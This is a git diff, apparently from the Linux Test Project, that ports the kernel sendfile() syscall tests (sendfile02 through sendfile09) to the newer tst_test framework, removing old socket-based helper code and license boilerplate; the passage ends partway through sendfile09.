+ * 2. Call sendfile() with offset in the middle of the file.
  */
+
 #include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/sendfile.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
 #include <inttypes.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <sys/sendfile.h>
 
-#ifndef OFF_T
-#define OFF_T off_t
-#endif /* Not def: OFF_T */
+#include "tst_test.h"
 
-TCID_DEFINE(sendfile02);
-int TST_TOTAL = 4;
+#define IN_FILE "in_file"
+#define OUT_FILE "out_file"
 
-char in_file[100];
-char out_file[100];
-int out_fd;
-pid_t child_pid;
-static int sockfd, s;
-static struct sockaddr_in sin1;	/* shared between do_child and create_server */
-
-void cleanup(void);
-void do_child(void);
-void setup(void);
-int create_server(void);
+#define OFFSET_DESC(x) .desc = "with offset = "#x, .offset = x
 
 struct test_case_t {
 	char *desc;
-	int offset;
-	int exp_retval;
-	int exp_updated_offset;
-} testcases[] = {
-	{
-	"Test sendfile(2) with offset = 0", 0, 26, 26}, {
-	"Test sendfile(2) with offset in the middle of file", 2, 24, 26}, {
-	"Test sendfile(2) with offset in the middle of file", 4, 22, 26}, {
-	"Test sendfile(2) with offset in the middle of file", 6, 20, 26}
+	off_t offset;
+	int64_t count;
+	int64_t exp_retval;
+	int64_t exp_updated_offset;
+} tc[] = {
+	{ OFFSET_DESC(0), 26, 26, 26 },
+	{ OFFSET_DESC(2), 24, 24, 26 },
 };
 
-#ifdef UCLINUX
-static char *argv0;
-#endif
-
-void do_sendfile(OFF_T offset, int i)
-{
-	int in_fd;
-	struct stat sb;
-	int wait_status;
-	int wait_stat;
-	off_t before_pos, after_pos;
-
-	out_fd = create_server();
-
-	if ((in_fd = open(in_file, O_RDONLY)) < 0) {
-		tst_brkm(TBROK, cleanup, "open failed: %d", errno);
-	}
-	SAFE_STAT(cleanup, in_file, &sb);
-
-	if ((before_pos = lseek(in_fd, 0, SEEK_CUR)) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "lseek before invoking sendfile failed: %d", errno);
-	}
-
-	TEST(sendfile(out_fd, in_fd, &offset, sb.st_size - offset));
-
-	if ((after_pos = lseek(in_fd, 0, SEEK_CUR)) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "lseek after invoking sendfile failed: %d", errno);
-	}
-
-	/* Close the sockets */
-	shutdown(sockfd, SHUT_RDWR);
-	shutdown(s, SHUT_RDWR);
-	if (TEST_RETURN != testcases[i].exp_retval) {
-		tst_resm(TFAIL, "sendfile(2) failed to return "
-			 "expected value, expected: %d, "
-			 "got: %ld", testcases[i].exp_retval,
-			 TEST_RETURN);
-		kill(child_pid, SIGKILL);
-	} else if (offset != testcases[i].exp_updated_offset) {
-		tst_resm(TFAIL, "sendfile(2) failed to update "
-			 "OFFSET parameter to expected value, "
-			 "expected: %d, got: %" PRId64,
-			 testcases[i].exp_updated_offset,
-			 (int64_t) offset);
-	} else if (before_pos != after_pos) {
-		tst_resm(TFAIL, "sendfile(2) updated the file position "
-			 " of in_fd unexpectedly, expected file position: %"
-			 PRId64 ", " " actual file position %" PRId64,
-			 (int64_t) before_pos, (int64_t) after_pos);
-	} else {
-		tst_resm(TPASS, "functionality of sendfile() is "
-			 "correct");
-		wait_status = waitpid(-1, &wait_stat, 0);
-	}
-
-	close(in_fd);
-}
-
-/*
- * do_child
- */
-void do_child(void)
-{
-	int lc;
-	socklen_t length;
-	char rbuf[4096];
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		length = sizeof(sin1);
-		recvfrom(sockfd, rbuf, 4096, 0, (struct sockaddr *)&sin1,
-			 &length);
-	}
-	exit(0);
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
 	int fd;
-	char buf[100];
+	char buf[27];
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-	sprintf(in_file, "in.%d", getpid());
-	if ((fd = creat(in_file, 00700)) < 0) {
-		tst_brkm(TBROK, cleanup, "creat failed in setup, errno: %d",
-			 errno);
-	}
+	fd = SAFE_CREAT(IN_FILE, 00700);
 	sprintf(buf, "abcdefghijklmnopqrstuvwxyz");
-	if (write(fd, buf, strlen(buf)) < 0) {
-		tst_brkm(TBROK, cleanup, "write failed, errno: %d", errno);
-	}
-	close(fd);
-	sprintf(out_file, "out.%d", getpid());
+	SAFE_WRITE(1, fd, buf, strlen(buf));
+	SAFE_CLOSE(fd);
+
+	fd = SAFE_CREAT(OUT_FILE, 00700);
+	SAFE_CLOSE(fd);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void run(unsigned int i)
 {
+	int in_fd = SAFE_OPEN(IN_FILE, O_RDONLY);
+	int out_fd = SAFE_OPEN(OUT_FILE, O_WRONLY);
+	off_t offset = tc[i].offset;
+	off_t before_pos, after_pos;
 
-	close(out_fd);
-	/* delete the test directory created in setup() */
-	tst_rmdir();
+	before_pos = SAFE_LSEEK(in_fd, 0, SEEK_CUR);
 
+	TEST(sendfile(out_fd, in_fd, &offset, tc[i].count));
+	after_pos = SAFE_LSEEK(in_fd, 0, SEEK_CUR);
+
+	if (tc[i].exp_retval != TST_RET)
+		tst_res(TFAIL, "sendfile() failed to return expected value, "
+			       "expected: %" PRId64 ", got: %ld",
+			tc[i].exp_retval, TST_RET);
+	else if (offset != tc[i].exp_updated_offset)
+		tst_res(TFAIL, "sendfile() failed to update OFFSET parameter to "
+			       "expected value, expected: %" PRId64 ", got: %" PRId64,
+			tc[i].exp_updated_offset, (int64_t)(offset));
+	else if (before_pos != after_pos)
+		tst_res(TFAIL, "sendfile() updated the file position of in_fd "
+			       "unexpectedly, expected file position: %" PRId64
+			       ", actual file position %" PRId64,
+			(int64_t)(before_pos), (int64_t)(after_pos));
+	else
+		tst_res(TPASS, "sendfile() with %s", tc[i].desc);
+
+	SAFE_CLOSE(in_fd);
+	SAFE_CLOSE(out_fd);
 }
 
-int create_server(void)
-{
-	static int count = 0;
-	socklen_t slen = sizeof(sin1);
-
-	sockfd = socket(PF_INET, SOCK_DGRAM, 0);
-	if (sockfd < 0) {
-		tst_brkm(TBROK, cleanup, "call to socket() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	sin1.sin_family = AF_INET;
-	sin1.sin_port = 0; /* pick random free port */
-	sin1.sin_addr.s_addr = INADDR_ANY;
-	count++;
-	if (bind(sockfd, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to bind() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
-
-	child_pid = FORK_OR_VFORK();
-	if (child_pid < 0) {
-		tst_brkm(TBROK, cleanup, "client/server fork failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	if (!child_pid) {	/* child */
-#ifdef UCLINUX
-		if (self_exec(argv0, "") < 0) {
-			tst_brkm(TBROK, cleanup, "self_exec failed");
-			return -1;
-
-		}
-#else
-		do_child();
-#endif
-	}
-
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	inet_aton("127.0.0.1", &sin1.sin_addr);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "call to socket() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
-	return s;
-
-}
-
-int main(int ac, char **av)
-{
-	int i;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-#ifdef UCLINUX
-	argv0 = av[0];
-	maybe_run_child(&do_child, "");
-#endif
-
-	setup();
-
-	/*
-	 * The following loop checks looping state if -c option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			do_sendfile(testcases[i].offset, i);
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
+static struct tst_test test = {
+		.needs_tmpdir = 1,
+		.setup = setup,
+		.test = run,
+		.tcnt = ARRAY_SIZE(tc),
+};
diff --git a/testcases/kernel/syscalls/sendfile/sendfile03.c b/testcases/kernel/syscalls/sendfile/sendfile03.c
index 8783a6c..85a3b0f 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile03.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile03.c
@@ -18,11 +18,7 @@
  * - out_fd opened with O_RDONLY
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <sys/sendfile.h>
-
 #include "tst_test.h"
 
 static int in_fd;
@@ -54,7 +50,7 @@
 
 static void run(unsigned int i)
 {
-	TST_EXP_FAIL(sendfile(*(tc[i].out_fd), *(tc[i].in_fd), NULL, 1),
+	TST_EXP_FAIL2(sendfile(*(tc[i].out_fd), *(tc[i].in_fd), NULL, 1),
 		     EBADF, "sendfile(..) with %s", tc[i].desc);
 }
 
diff --git a/testcases/kernel/syscalls/sendfile/sendfile04.c b/testcases/kernel/syscalls/sendfile/sendfile04.c
index 67d004c..9a8ec08 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile04.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile04.c
@@ -18,17 +18,7 @@
  * - a protected buffer is created by mmap with specifying protection
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
 #include <sys/sendfile.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-
 #include "tst_test.h"
 
 static int in_fd;
@@ -68,7 +58,7 @@
 	if (tc[i].pass_unmapped_buffer)
 		SAFE_MUNMAP(protected_buffer, sizeof(*protected_buffer));
 
-	TST_EXP_FAIL(sendfile(out_fd, in_fd, protected_buffer, 1),
+	TST_EXP_FAIL2(sendfile(out_fd, in_fd, protected_buffer, 1),
 		     EFAULT, "sendfile(..) with %s, protection=%d",
 		     tc[i].desc, tc[i].protection);
 
diff --git a/testcases/kernel/syscalls/sendfile/sendfile05.c b/testcases/kernel/syscalls/sendfile/sendfile05.c
index 99c91f6..e271a47 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile05.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile05.c
@@ -16,17 +16,7 @@
  * Call sendfile with offset = -1.
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
 #include <sys/sendfile.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-
 #include "tst_test.h"
 
 static int in_fd;
diff --git a/testcases/kernel/syscalls/sendfile/sendfile06.c b/testcases/kernel/syscalls/sendfile/sendfile06.c
index abb6760..6133be4 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile06.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile06.c
@@ -1,228 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * Copyright (c) Red Hat Inc., 2007
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * 11/2007 Copyed from sendfile02.c by Masatake YAMATO
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * DESCRIPTION
- *	Testcase to test that sendfile(2) system call updates file
- *	position of in_fd correctly when passing NULL as offset.
+/*\
+ * [Description]
  *
- * HISTORY
- *	11/2007 Copyed from sendfile02.c by Masatake YAMATO
+ * Test that sendfile() system call updates file position of in_fd correctly
+ * when passing NULL as offset.
  */
 
-#include <inttypes.h>
 #include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
+#include <inttypes.h>
 #include <sys/sendfile.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
 
-TCID_DEFINE(sendfile06);
+#include "tst_test.h"
 
-#define IN_FILE		"infile"
-#define OUT_FILE	"outfile"
+#define IN_FILE "in_file"
+#define OUT_FILE "out_file"
 
-static pid_t child_pid;
-static int sockfd;
-static struct sockaddr_in sin1;
 static struct stat sb;
 
-static void cleanup(void);
-static void do_child(void);
-static void setup(void);
-static int create_server(void);
-
-int TST_TOTAL = 1;
-
-#ifdef UCLINUX
-static char *argv0;
-#endif
-
-static void do_sendfile(void)
-{
-	int in_fd, out_fd;
-	off_t after_pos;
-	int wait_stat;
-
-	out_fd = create_server();
-
-	in_fd = SAFE_OPEN(cleanup, IN_FILE, O_RDONLY);
-
-	TEST(sendfile(out_fd, in_fd, NULL, sb.st_size));
-	if ((after_pos = lseek(in_fd, 0, SEEK_CUR)) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "lseek after invoking sendfile failed: %d", errno);
-	}
-
-	/* Close the sockets */
-	shutdown(sockfd, SHUT_RDWR);
-	shutdown(out_fd, SHUT_RDWR);
-	if (TEST_RETURN != sb.st_size) {
-		tst_resm(TFAIL, "sendfile(2) failed to return "
-			 "expected value, expected: %" PRId64 ", "
-			 "got: %ld", (int64_t) sb.st_size, TEST_RETURN);
-		SAFE_KILL(cleanup, child_pid, SIGKILL);
-	} else if (after_pos != sb.st_size) {
-		tst_resm(TFAIL, "sendfile(2) failed to update "
-			 " the file position of in_fd, "
-			 "expected file position: %" PRId64 ", "
-			 "actual file position %" PRId64,
-			 (int64_t) sb.st_size, (int64_t) after_pos);
-		SAFE_KILL(cleanup, child_pid, SIGKILL);
-	} else {
-		tst_resm(TPASS, "functionality of sendfile() is "
-			 "correct");
-		waitpid(-1, &wait_stat, 0);
-	}
-
-	SAFE_CLOSE(cleanup, in_fd);
-	SAFE_CLOSE(cleanup, out_fd);
-	SAFE_CLOSE(cleanup, sockfd);
-}
-
-static void do_child(void)
-{
-	socklen_t length = sizeof(sin1);
-	char rbuf[4096];
-	ssize_t ret, bytes_total_received = 0;
-
-	while (bytes_total_received < sb.st_size) {
-		ret = recvfrom(sockfd, rbuf, 4096, 0, (struct sockaddr *)&sin1,
-			       &length);
-		if (ret < 0) {
-			fprintf(stderr, "child process recvfrom failed: %s\n",
-				strerror(errno));
-			exit(1);
-		}
-		bytes_total_received += ret;
-	}
-
-	exit(0);
-}
-
 static void setup(void)
 {
 	int fd;
+	char buf[27];
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	fd = SAFE_CREAT(IN_FILE, 00700);
+	sprintf(buf, "abcdefghijklmnopqrstuvwxyz");
+	SAFE_WRITE(1, fd, buf, strlen(buf));
+	SAFE_FSTAT(fd, &sb);
+	SAFE_CLOSE(fd);
 
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fd = SAFE_CREAT(cleanup, IN_FILE, 0600);
-
-	SAFE_WRITE(cleanup, 1, fd, "abcdefghijklmnopqrstuvwxyz", 26);
-
-	SAFE_FSTAT(cleanup, fd, &sb);
-
-	SAFE_CLOSE(cleanup, fd);
+	fd = SAFE_CREAT(OUT_FILE, 00700);
+	SAFE_CLOSE(fd);
 }
 
-static void cleanup(void)
+static void run(void)
 {
-	tst_rmdir();
+	off_t after_pos;
+	int in_fd = SAFE_OPEN(IN_FILE, O_RDONLY);
+	int out_fd = SAFE_OPEN(OUT_FILE, O_WRONLY);
+
+	TEST(sendfile(out_fd, in_fd, NULL, sb.st_size));
+	after_pos = SAFE_LSEEK(in_fd, 0, SEEK_CUR);
+
+	if (sb.st_size != TST_RET)
+		tst_res(TFAIL, "sendfile() failed to return expected value, expected: %"
+			PRId64 ", got: %ld",
+			sb.st_size, TST_RET);
+	else if (after_pos != sb.st_size)
+		tst_res(TFAIL, "sendfile() updated the file position of in_fd unexpectedly,"
+			" expected file position: %" PRId64
+			" actual file position %" PRId64,
+			(int64_t)(sb.st_size), (int64_t)(after_pos));
+	else
+		tst_res(TPASS, "sendfile() with offset=NULL");
+
+	SAFE_CLOSE(in_fd);
+	SAFE_CLOSE(out_fd);
 }
 
-static int create_server(void)
-{
-	int s;
-	socklen_t slen = sizeof(sin1);
-
-	sockfd = socket(PF_INET, SOCK_DGRAM, 0);
-	if (sockfd < 0) {
-		tst_brkm(TBROK, cleanup, "call to socket() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	sin1.sin_family = AF_INET;
-	sin1.sin_port = 0; /* pick random free port */
-	sin1.sin_addr.s_addr = INADDR_ANY;
-
-	if (bind(sockfd, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to bind() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
-
-	child_pid = FORK_OR_VFORK();
-	if (child_pid < 0) {
-		tst_brkm(TBROK, cleanup, "client/server fork failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-
-	if (!child_pid) {
-#ifdef UCLINUX
-		if (self_exec(argv0, "") < 0) {
-			tst_brkm(TBROK, cleanup, "self_exec failed");
-			return -1;
-
-		}
-#else
-		do_child();
-#endif
-	}
-
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	inet_aton("127.0.0.1", &sin1.sin_addr);
-
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "call to socket() failed: %s",
-			 strerror(errno));
-		return -1;
-	}
-
-	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
-
-	return s;
-}
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	argv0 = av[0];
-	maybe_run_child(&do_child, "");
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		do_sendfile();
-	}
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sendfile/sendfile07.c b/testcases/kernel/syscalls/sendfile/sendfile07.c
index e8bf022..f9cbb7b 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile07.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile07.c
@@ -12,17 +12,7 @@
  * when passing full out_fd opened with O_NONBLOCK.
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
 #include <sys/sendfile.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-
 #include "tst_test.h"
 
 #define MAX_FILL_DATA_LENGTH 0xFFFFFFF
diff --git a/testcases/kernel/syscalls/sendfile/sendfile08.c b/testcases/kernel/syscalls/sendfile/sendfile08.c
index a296327..48a971b 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile08.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile08.c
@@ -1,123 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2012 Red Hat, Inc.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Bug in the splice code has caused the file position on the write side
  * of the sendfile system call to be incorrectly set to the read side file
  * position. This can result in the data being written to an incorrect offset.
  *
- * This is a regression test for kernel commit
- * 2cb4b05e7647891b46b91c07c9a60304803d1688
+ * This is a regression test for kernel commit 2cb4b05e76478.
  */
 
-#include <sys/sendfile.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <stdio.h>
 #include <string.h>
-#include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <sys/sendfile.h>
 
-#define TEST_MSG_IN "world"
-#define TEST_MSG_OUT "hello"
-#define TEST_MSG_ALL (TEST_MSG_OUT TEST_MSG_IN)
+#include "tst_test.h"
 
-TCID_DEFINE(sendfile08);
-int TST_TOTAL = 1;
+#define IN_FILE		"in_file"
+#define OUT_FILE	"out_file"
+
+#define TEST_MSG_IN	"world"
+#define TEST_MSG_OUT	"hello"
+#define TEST_MSG_ALL	(TEST_MSG_OUT TEST_MSG_IN)
 
 static int in_fd;
 static int out_fd;
-static char *in_file = "sendfile08.in";
-static char *out_file = "sendfile08.out";
 
-static void cleanup(void);
-static void setup(void);
-
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
-	int ret;
+	TEST(sendfile(out_fd, in_fd, NULL, strlen(TEST_MSG_IN)));
+	if (TST_RET == -1)
+		tst_brk(TBROK | TTERRNO, "sendfile() failed");
+
 	char buf[BUFSIZ];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	SAFE_LSEEK(out_fd, 0, SEEK_SET);
+	SAFE_READ(0, out_fd, buf, BUFSIZ);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		TEST(sendfile(out_fd, in_fd, NULL, strlen(TEST_MSG_IN)));
-
-		if (TEST_RETURN == -1)
-			tst_brkm(TBROK | TTERRNO, cleanup, "sendfile() failed");
-
-		ret = SAFE_LSEEK(cleanup, out_fd, 0, SEEK_SET);
-		ret = read(out_fd, buf, BUFSIZ);
-		if (ret == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "read %s failed",
-				 out_file);
-
-		if (!strncmp(buf, TEST_MSG_ALL, strlen(TEST_MSG_ALL)))
-			tst_resm(TPASS, "sendfile(2) copies data correctly");
-		else
-			tst_resm(TFAIL, "sendfile(2) copies data incorrectly."
-				 " Expect \"%s%s\", got \"%s\"", TEST_MSG_OUT,
-				 TEST_MSG_IN, buf);
+	if (!strncmp(buf, TEST_MSG_ALL, strlen(TEST_MSG_ALL))) {
+		tst_res(TPASS, "sendfile() copies data correctly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TFAIL, "sendfile() copies data incorrectly: '%s' expected: '%s%s'",
+			buf, TEST_MSG_OUT, TEST_MSG_IN);
 }
 
 static void setup(void)
 {
-	int ret;
+	in_fd = SAFE_CREAT(IN_FILE, 0700);
+	SAFE_WRITE(1, in_fd, TEST_MSG_IN, strlen(TEST_MSG_IN));
+	SAFE_CLOSE(in_fd);
+	in_fd = SAFE_OPEN(IN_FILE, O_RDONLY);
 
-	/* Disable test if the version of the kernel is less than 2.6.33 */
-	if ((tst_kvercmp(2, 6, 33)) < 0) {
-		tst_resm(TCONF, "The out_fd must be socket before kernel");
-		tst_brkm(TCONF, NULL, "2.6.33, see kernel commit cc56f7d");
-	}
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	in_fd = SAFE_CREAT(cleanup, in_file, 0700);
-
-	ret = write(in_fd, TEST_MSG_IN, strlen(TEST_MSG_IN));
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Write %s failed", in_file);
-	close(in_fd);
-
-	in_fd = SAFE_OPEN(cleanup, in_file, O_RDONLY);
-	out_fd = SAFE_OPEN(cleanup, out_file, O_TRUNC | O_CREAT | O_RDWR, 0777);
-
-	ret = write(out_fd, TEST_MSG_OUT, strlen(TEST_MSG_OUT));
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Write %s failed", out_file);
+	out_fd = SAFE_OPEN(OUT_FILE, O_TRUNC | O_CREAT | O_RDWR, 0777);
+	SAFE_WRITE(1, out_fd, TEST_MSG_OUT, strlen(TEST_MSG_OUT));
 }
 
 static void cleanup(void)
 {
-	close(out_fd);
-	close(in_fd);
-
-	tst_rmdir();
+	SAFE_CLOSE(in_fd);
+	SAFE_CLOSE(out_fd);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.min_kver = "2.6.33",
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2cb4b05e76478"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/sendfile/sendfile09.c b/testcases/kernel/syscalls/sendfile/sendfile09.c
index b9d9c84..07c43eb 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile09.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile09.c
@@ -1,199 +1,109 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2014
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc.
+ * Copyright (c) International Business Machines  Corp., 2014
  */
-/*
- * NAME
- *        sendfile09.c
+
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *        Testcase copied from sendfile02.c to test the basic functionality of
- *        the sendfile(2) system call on large file. There is a kernel bug which
- *        introduced by commit 8f9c0119d7ba and fixed by commit 5d73320a96fcc.
+ * Testcase copied from sendfile02.c to test the basic functionality of
+ * the sendfile() system call on large file. There is a kernel bug which
+ * introduced by commit 8f9c0119d7ba9 and fixed by commit 5d73320a96fcc.
  *
- * ALGORITHM
- *        1. call sendfile(2) with offset at 0
- *        2. call sendfile(2) with offset at 3GB
+ * Only supports 64bit systems.
  *
- * USAGE:  <for command-line>
- *  sendfile09 [-c n] [-i n] [-I x] [-P x] [-t]
- *     where,
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
+ * [Algorithm]
  *
- *
- * RESTRICTIONS
- *        Only supports 64bit systems and kernel 2.6.33 or above
+ * 1. Call sendfile() with offset at 0.
+ * 2. Call sendfile() with offset at 3GB.
  */
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/sendfile.h>
-#include <sys/types.h>
-#include <unistd.h>
+
 #include <inttypes.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <sys/sendfile.h>
+
+#include "tst_test.h"
 #include "lapi/abisize.h"
 
-#ifndef OFF_T
-#define OFF_T off_t
-#endif /* Not def: OFF_T */
+#ifndef TST_ABI32
 
-TCID_DEFINE(sendfile09);
-
-static char *in_file = "in";
-static char *out_file = "out";
-static int fd;
-static int in_fd;
-static int out_fd;
-
-static void cleanup(void);
-static void setup(void);
-
-#define ONE_GB (INT64_C(1) << 30)
+#define ONE_GB		(INT64_C(1) << 30)
+#define IN_FILE		"in_file"
+#define OUT_FILE	"out_file"
 
 static struct test_case_t {
 	char *desc;
-	OFF_T offset;
+	off_t offset;
 	int64_t count;
 	int64_t exp_retval;
 	int64_t exp_updated_offset;
-} testcases[] = {
-	{ "Test sendfile(2) with offset at 0",
-		0, ONE_GB, ONE_GB, ONE_GB},
-	{ "Test sendfile(2) with offset at 3GB",
-		3*ONE_GB, ONE_GB, ONE_GB, 4*ONE_GB}
+} tc[] = {
+	{ "offset at 0", 0, ONE_GB, ONE_GB, ONE_GB },
+	{ "offset at 3GB", 3 * ONE_GB, ONE_GB, ONE_GB, 4 * ONE_GB }
 };
 
-static int TST_TOTAL = ARRAY_SIZE(testcases);
-
-void do_sendfile(struct test_case_t *t)
+static void setup(void)
 {
+	int i, fd;
+
+	if (!tst_fs_has_free(".", 5, TST_GB))
+		tst_brk(TCONF, "Test on large file needs 5G free space");
+
+	fd = SAFE_CREAT(IN_FILE, 00700);
+	for (i = 1; i <= (4 * 1024); ++i) {
+		SAFE_LSEEK(fd, 1024 * 1024 - 1, SEEK_CUR);
+		SAFE_WRITE(1, fd, "C", 1);
+	}
+	SAFE_CLOSE(fd);
+
+	fd = SAFE_CREAT(OUT_FILE, 00700);
+	SAFE_CLOSE(fd);
+}
+
+static void run(unsigned int i)
+{
+	int in_fd = SAFE_OPEN(IN_FILE, O_RDONLY);
+	int out_fd = SAFE_OPEN(OUT_FILE, O_WRONLY);
+	off_t offset = tc[i].offset;
+
 	off_t before_pos, after_pos;
+	before_pos = SAFE_LSEEK(in_fd, 0, SEEK_CUR);
 
-	out_fd = SAFE_OPEN(cleanup, out_file, O_WRONLY);
-	in_fd = SAFE_OPEN(cleanup, in_file, O_RDONLY);
-	before_pos = SAFE_LSEEK(cleanup, in_fd, 0, SEEK_CUR);
